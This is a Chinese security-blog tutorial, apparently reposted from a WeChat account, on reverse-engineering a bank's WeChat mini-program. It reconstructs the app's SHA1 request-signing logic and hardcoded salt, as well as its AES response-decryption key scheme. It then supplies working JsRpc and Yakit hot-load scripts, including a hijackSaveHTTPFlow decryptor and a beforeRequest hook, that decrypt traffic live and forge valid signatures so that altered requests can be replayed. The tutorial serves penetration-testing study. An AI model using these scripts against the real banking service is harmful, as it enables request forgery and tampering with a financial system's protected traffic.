“我们在日常生活中度过的每一天,实际上也许是连续发生的奇迹也说不定呢。——《日常》E04”
[原创]【银行逆向百例】10小程序逆向之Yakit 魔术方法beforeRequest实时修改签名
https://bbs.kanxue.com/thread-287341.htm
01
—
环境版本
环境:
电脑,Windows 11 专业版 23H2
软件:
Yakit,v1.4.2-0613
微信,Windows 3.9.10.19
KillWxapkg,2.4.1
02
—
操作步骤
1、响应加密,无法分析
2、请求签名,无法重放
3、开启DevTools
https://github.com/Ackites/KillWxapkg
4、进入DevTools
03
—
签名分析
5、网络跟调用堆栈最顶层
6、依次点击调用堆栈,在Re这一步发现signStr有结果显示
7、发现请求签名参数signStr = b.header.signStr = p
8、分析签名p生成逻辑
w == 1,p = (0, r.default)(M + b.header.reqFlowNo)
w == 2,p = (0, r.default)(M + b.header.busiCode)
else,(0,r.default)(M + "12345678900987654321!@#$%^&*()qazwsxedcrfvtgbyhnujmikolp<>?:{}")
9、此时w=0,将M拼接字符串然后SHA1加密就得到了签名p也就是signStr
p = (0,r.default)(M + "12345678900987654321!@#$%^&*()qazwsxedcrfvtgbyhnujmikolp<>?:{}")
(0,r.default)等价SHA1
04
—
解密分析
10、搜索decrypt关键字定位到解密函数,t.body是响应的body参数
11、l = p(c, t)
12、进入p函数内部
13、e.data.header.reqClient=evcc_v2,拼接o+i返回n,也就是密钥l
如果e.data.header.reqClient包含"evcc"和"v2",返回o+i,也就是r.nonce+r.reqFlowNo
如果只有"evcc",返回去掉"-"的r.reqFlowNo
如果不包含"evcc",返回空字符串""
14、抓包分析流量,当请求中的reqClient=evcc_v2,解密函数密钥l=nonce+reqFlowNo
15、响应参数body赋值给t.body,nonce+reqFlowNo赋值给l,调用解密函数
05
—
JsRpc配置
16、导出r函数
globalThis.r = r;
17、注入小程序的JsRpc环境
https://github.com/jxhczhl/JsRpc/blob/main/resouces/WeChat_Dev.js
18、连接通信
var demo = new Hlclient("ws://192.168.14.159:12080/ws?group=zzz");
19、注册解密函数,这里需要传入密钥和密文两个值
demo.regAction("decrypt", function (resolve, param) {
console.log("[decrypt] 接收到参数:", JSON.stringify(param));
var key = param["key"];
var body = param["body"];
var data = r.decryptAES(body, key);
resolve(data);
});
20、构造param,这里需要注意密文过长浏览器无法处理,使用python测试
import requests
import json
payload = {
"key": "xxx",
"body": "xxx"
}
url = "http://192.168.14.159:12080/go?group=zzz&action=decrypt"
response = requests.post(url, data={"param": json.dumps(payload)})
print(response.text)
06
—
Yakit热加载
21、提取响应参数nonce+reqFlowNo当作密钥和密文body一起传入param,热加载实现实时明文
hijackSaveHTTPFlow = func(flow /* *yakit.HTTPFlow */, modify /* func(modified *yakit.HTTPFlow) */, drop/* func() */) {
req = str.Unquote(flow.Request)~
rsp = str.Unquote(flow.Response)~
// ================================
// 解密响应中的 body 字段
// ================================
if str.Contains(rsp, ""body":"") {
// 提取响应中的 JSON 数据
rspLines := str.Split(rsp, "rn")
var jsonBody
for i, line := range rspLines {
if line == "" && i+1 < len(rspLines) {
jsonBody = rspLines[i+1]
break
}
}
if jsonBody != "" {
// 提取 nonce
nonceParts := str.Split(jsonBody, ""nonce":"")
var nonce
if len(nonceParts) >= 2 {
nonceEnd := str.Split(nonceParts[1], """)[0]
nonce = nonceEnd
}
// 提取 reqFlowNo
reqFlowNoParts := str.Split(jsonBody, ""reqFlowNo":"")
var reqFlowNo
if len(reqFlowNoParts) >= 2 {
reqFlowNoEnd := str.Split(reqFlowNoParts[1], """)[0]
reqFlowNo = reqFlowNoEnd
}
// 提取加密的 body
bodyParts := str.Split(jsonBody, ""body":"")
var encryptedBody
if len(bodyParts) >= 2 {
bodyEnd := str.Split(bodyParts[1], """)[0]
encryptedBody = bodyEnd
}
// 如果成功提取到所有必要字段,进行解密
if nonce != "" && reqFlowNo != "" && encryptedBody != "" {
// 构造密钥(nonce + reqFlowNo)
key := nonce + reqFlowNo
// 构造解密请求的参数
decryptParam := sprintf(`{"key":"%s","body":"%s"}`, key, encryptedBody)
// 发送解密请求
rsp2, req2 = poc.HTTP(`POST /go?group=zzz&action=decrypt HTTP/1.1
Host: 192.168.14.159:12080
User-Agent: Mozilla/5.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: close
param=` + codec.EncodeUrl(decryptParam))~
rspIns2 = poc.ParseBytesToHTTPResponse(rsp2)~
body2 = io.ReadAll(rspIns2.Body)~
// 从解密服务返回的JSON中提取data字段
decryptedResponse := string(body2)
dataParts := str.Split(decryptedResponse, ""data":"")
if len(dataParts) >= 2 {
dataEnd := str.Split(dataParts[1], "","group"")[0]
plainData := str.ReplaceAll(dataEnd, "\", "")
// 替换原响应中的加密body为解密后的data
newJsonBody := str.ReplaceAll(jsonBody, `"body":"`+encryptedBody+`"`, `"body":"`+plainData+`"`)
// 重新构造响应
newRsp := ""
for i, line := range rspLines {
if line == "" && i+1 < len(rspLines) {
newRsp += line + "rn" + newJsonBody
break
} else {
newRsp += line + "rn"
}
}
rsp = newRsp
}
}
}
}
// 写回并保存入库
flow.Request = str.Quote(req)
flow.Response = str.Quote(rsp)
flow.AddTag("decrypted")
modify(flow)
}
07
—
beforeRequest
22、第八步得知signStr与请求body有关,reqFlowNo每次重放需要生成不一样的值
23、来到WebFuzzer重放功能,使用热加载魔术方法beforeRequest,随机生成reqFlowNo,根据业务场景计算signStr
beforeRequest = func(req) {
// 先替换请求中的 __reqFlowNo__
req = str.ReplaceAll(req, "__reqFlowNo__", uuid())
// 提取请求POST参数
params, err = poc.ExtractPostParams(req)
if err != nil {
return req
}
// 定义签名用的字符串
qazwsxedcrfvtgbyhnujmikolp = "12345678900987654321!@#$%^&*()qazwsxedcrfvtgbyhnujmikolp<>?:{}"
bodyMap = orderedmap.New()
// 将 type 转换为 int 类型
typeValStr = params["body[type]"]
typeValNum = int(typeValStr)
// 设置值
bodyMap.Set("type", typeValNum)
bodyMap.Set("orderType", params["body[orderType]"])
bodyMap.Set("applyChannlVCC", params["body[applyChannlVCC]"])
// 转 JSON
bodyJson = json.dumps(bodyMap)
// 清理 JSON 格式
bodyJson = str.ReplaceAll(bodyJson, "n", "")
bodyJson = str.ReplaceAll(bodyJson, " ", "")
bodyJson = str.ReplaceAll(bodyJson, " ", "")
// 计算签名逻辑
reqTime = params["header[reqTime]"]
busiCode = params["header[busiCode]"]
// 计算w
reqTimeStr = reqTime + ""
chars = str.Split(reqTimeStr, "")
lastChar = chars[len(chars) - 1]
lastDigit = int(lastChar)
w = lastDigit % 3
printf("w= "+ string(w) + "n")
if w == 1 {
println("bodyJson + reqFlowNo" + "n" + bodyJson + string(params["header[reqFlowNo]"]) + "n")
params["header[signStr]"] = codec.Sha1(bodyJson + params["header[reqFlowNo]"])
printf("signStr" + "n" + params["header[signStr]"] + "n")
} else if w == 2 {
println("bodyJson + busiCode" + "n" + bodyJson + busiCode + "n")
params["header[signStr]"] = codec.Sha1(bodyJson + busiCode)
printf("signStr" + "n" + params["header[signStr]"] + "n")
} else {
println("bodyJson + qazwsxedcrfvtgbyhnujmikolp" + "n" + bodyJson + qazwsxedcrfvtgbyhnujmikolp + "n")
params["header[signStr]"] = codec.Sha1(bodyJson + qazwsxedcrfvtgbyhnujmikolp)
printf("signStr" + "n" + params["header[signStr]"] + "n")
}
// 替换请求中的 __signStr__
req = str.ReplaceAll(req, "__signStr__", params["header[signStr]"])
dump(params)
return []byte(req)
}
原文始发于微信公众号(挖个洞先):【银行逆向百例】10小程序逆向之Yakit 魔术方法beforeRequest实时修改签名
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论